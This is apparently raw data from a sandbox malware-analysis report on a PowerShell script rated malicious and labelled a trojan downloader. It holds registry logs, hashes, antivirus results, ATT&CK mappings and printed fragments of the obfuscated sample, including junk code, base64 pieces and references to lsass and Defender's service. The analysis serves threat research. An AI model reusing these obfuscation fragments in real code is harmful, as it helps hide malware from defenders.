"HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYIPMATCHING"; Value: "")4d:T8b8,"powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")4e:Tce4,Found string "ncoding UTF8 -LogName System && ($kkcnan)} = "CRjcHUgPSA";${Get-ADOrganizationalUnit -Unique -Depth 8 && ($tmlmps)} = "oR2V0L";if ($false) { $x = 2 }for ($i = 0; $i -lt 9; $i++) { $nextvar = $i }${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} = "UNvdW50Z";${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = "XIgJ1xQcm9";while ($counter -lt 3) { $counter++ }for ($j = 0; $j -lt 6; $j++) { $final += $j }${Get-AzSubscription -Exclude *.tmp -Path .\Program Files && ($glsmd)} = "jZXNzb3I";${Get-MsolUser -Exclude *.tmp -ComputerName $appserver01 && ($rapn)} = "oX1RvdGF";${Get-ADComputer -Parallel -Identity CN=Administrator && ($llecln)} = "sKVwl";try { $y = 6 } catch { $error }if ($false) { $x = 3 }try { $y = 3 } catch { $error }${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = "IFBy";${Get-Date -InputFormat -LogName Security && ($bhhd)} = "b2Nlc3Nvc";${Get-TransportRule -Unique -ComputerName SR" (Indicator: " win32_useraccount"; in File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "et-Random -Minimum 5 -Maximum 16${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-ADOrganizationalUnit -Unique -Depth 8 && ($tmlmps)}, ${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)}, ${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)})while ($counter -lt 6) { $counter++ }if ($errorLevel -gt 1) { Write-Output '$result' }for ($j = 0; $j -lt 2; $j++) { $final += $j }${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-AzSubscription -Exclude *.tmp -Path .\Program Files && ($glsmd)}, ${Get-MsolUser -Exclude *.tmp -ComputerName $appserver01 && ($rapn)}, ${Get-ADComputer -Parallel -Identity CN=Administrator && ($llecln)})$test03 = 6for ($j = 0; $j -lt 2; $j++) { $final += $j }if ($completion -eq $null) { $count = 0 }${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)}, ${Get" (Indicator: " win32_useraccount"; in File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = "IFBy";${Get-Date -InputFormat -LogName Security && ($bhhd)} = "b2Nlc3Nvc";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = "iBUaW1";" (Indicator: " win32_useraccount"; in File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)}, ${Get-Date -InputFormat -LogName Security && ($bhhd)}, ${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)}, ${Stop-ScheduledTask -Append -DestinationPath \\nas\archive && ($rfl)}, ${Get-ADComputer -TimeoutSec 30 -TaskPath \CustomTasks\ && ($eotf)}, ${Get-NetIPConfiguration -NoTypeInformation -Uri login.windows.net/common/oauth2/authorize && ($lmi)}, ${Select-Object -Debug -DestinationPath .\Export && ($oaei)})" (Indicator: " win32_useraccount"; in File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")4f:T9d4,Found string "$void = Get-Random -Minimum 7 -Maximum 11 } catch { $void = $null }if ($completion -eq $null) { $count = 8 }if ($false) { $x = 7 }${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-ItemProperty -Filter * -ComputerName YOURDC06 && ($beaf)}, ${Get-Package -Append -InformationLevel Debug && ($dmfgtn)}, ${Get-PhysicalDisk -Include * -Namespace root\Microsoft\Windows\Storage && ($cpkgbl)}, ${Get-CMApplication -TimeoutSec 30 -Path .\inetpub\wwwroot && ($incm)})try { $void = Get-Random -Minimum 8 -Maximum 8 } catch { $void = $null }$set_scaler_17 = 491try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 }${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295$set_scaler_96 = 343${Get-Command -NoTypeInformation -Depth 3 && ($mkco)} = 518${ForEach-Object -NoTypeInformation -Depth 2 && ($pnlfn)} = 356while ($counter -lt 1) { $counter++ }${Get-ADGroup -ErrorVariable errLog -ClassName MSFT_NetI" (Indicator: " lsass"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "$void = Get-Random -Minimum 7 -Maximum 11 } catch { $void = $null }if ($completion -eq $null) { $count = 8 }if ($false) { $x = 7 }${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} += @(${Get-ItemProperty -Filter * -ComputerName YOURDC06 && ($beaf)}, ${Get-Package -Append -InformationLevel Debug && ($dmfgtn)}, ${Get-PhysicalDisk -Include * -Namespace root\Microsoft\Windows\Storage && ($cpkgbl)}, ${Get-CMApplication -TimeoutSec 30 -Path .\inetpub\wwwroot && ($incm)})try { $void = Get-Random -Minimum 8 -Maximum 8 } catch { $void = $null }$set_scaler_17 = 491try { Remove-Item -Path "C:\temp\logfile_1.txt" -ErrorAction SilentlyContinue } catch { Start-Sleep -Seconds 8 }${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295$set_scaler_96 = 343${Get-Command -NoTypeInformation -Depth 3 && ($mkco)} = 518${ForEach-Object -NoTypeInformation -Depth 2 && ($pnlfn)} = 356while ($counter -lt 1) { $counter++ }${Get-ADGroup -ErrorVariable errLog -ClassName MSFT_NetI" (Indicator: "lsass "; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295" (Indicator: " lsass"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295" (Indicator: "lsass "; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")50:T7f4,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791892940327,"unified_at":"2026-10-13T12:02:20.327Z","metadata":{"hashes":{"sha256":"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85","sha1":"ed8cc3e3fa347c78423ea1aef8f37e4b2676a05f","md5":"19f60232820b34e2c9328d14ebfa7eb7","sha512":"301d52b667086f42976efb00ea3aa577c96151bbf9daf57167fe1a4e2435fb9180653c1df70e8632b259fb179bc161dda35dc017297861ca5221e89132a0660c","ssdeep":"768:UgWNtDDo6qdOFoiYQB6k2cDTiezHyspkkOyFFzE0c2:QNVDo6qdOFoiYU6k2cDTiezBkkBvN","ssdeep_chunks":["768:UgWNtDD","768:gWNtDDo","768:WNtDDo6","768:NtDDo6q","768:tDDo6qd","768:DDo6qdO","768:Do6qdOF","768:o6qdOFo","768:6qdOFoi","768:qdOFoiY","768:dOFoiYQ","768:OFoiYQB","768:FoiYQB6","768:oiYQB6k","768:iYQB6k2","768:YQB6k2c","768:QB6k2cD","768:B6k2cDT","768:6k2cDTi","768:k2cDTie","768:2cDTiez","768:cDTiezH","768:DTiezHy","768:TiezHys","768:iezHysp","768:ezHyspk","768:zHyspkk","768:HyspkkO","768:yspkkOy","768:spkkOyF","768:pkkOyFF","768:kkOyFFz","768:kOyFFzE","768:OyFFzE0","768:yFFzE0c","768:FFzE0c2","1536:UgWNtDD","1536:gWNtDDo","1536:WNtDDo6","1536:NtDDo6q","1536:tDDo6qd","1536:DDo6qdO","1536:Do6qdOF","1536:o6qdOFo","1536:6qdOFoi","1536:qdOFoiY","1536:dOFoiYQ","1536:OFoiYQB","1536:FoiYQB6","1536:oiYQB6k","1536:iYQB6k2","1536:YQB6k2c","1536:QB6k2cD","1536:B6k2cDT","1536:6k2cDTi","1536:k2cDTie","1536:2cDTiez","1536:cDTiezH","1536:DTiezHy","1536:TiezHys","1536:iezHysp","1536:ezHyspk","1536:zHyspkk","1536:HyspkkO","1536:yspkkOy","1536:spkkOyF","1536:pkkOyFF","1536:kkOyFFz","1536:kOyFFzE","1536:OyFFzE0","1536:yFFzE0c","1536:FFzE0c2","768:QNVDo6q","768:NVDo6qd","768:VDo6qdO","768:dOFoiYU","768:OFoiYU6","768:FoiYU6k","768:oiYU6k2","768:iYU6k2c","768:YU6k2cD","768:U6k2cDT","768:cDTiezB","768:DTiezBk","768:TiezBkk","768:iezBkkB","768:ezBkkBv","768:zBkkBvN"],"imphash":"Unknown"},"file_info":{"file_name":"cl-ncl-start.ps1","file_type":["powershell","ps"],"file_type_id":"ps1","file_size":42498,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1777074162000,"last_seen":1777074168000,"last_multi_scan":1777074168000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive"]},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":65},"sandbox_signatures":{"informative_count":148,"suspicious_count":9,"malicious_count":4,"total":161},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"PowerShell/Agent.DXQ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/PS.Netloader.mj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TrojanDownloader/PS.Netloader","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"},{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes a PowerShell script"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to restart services (Powershell command string)"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"},{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"},{"type":"informative","value":"Contains scheduled task related strings"},{"type":"malicious","value":"Schedules a task to be executed from task XML file"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"},{"type":"informative","value":"Queries COM task scheduler class object"},{"type":"suspicious","value":"Found an indicator for a scheduled task trigger"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","identifiers":[{"type":"suspicious","value":"References suspicious system modules"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Privilege Escalation","technique":"Process 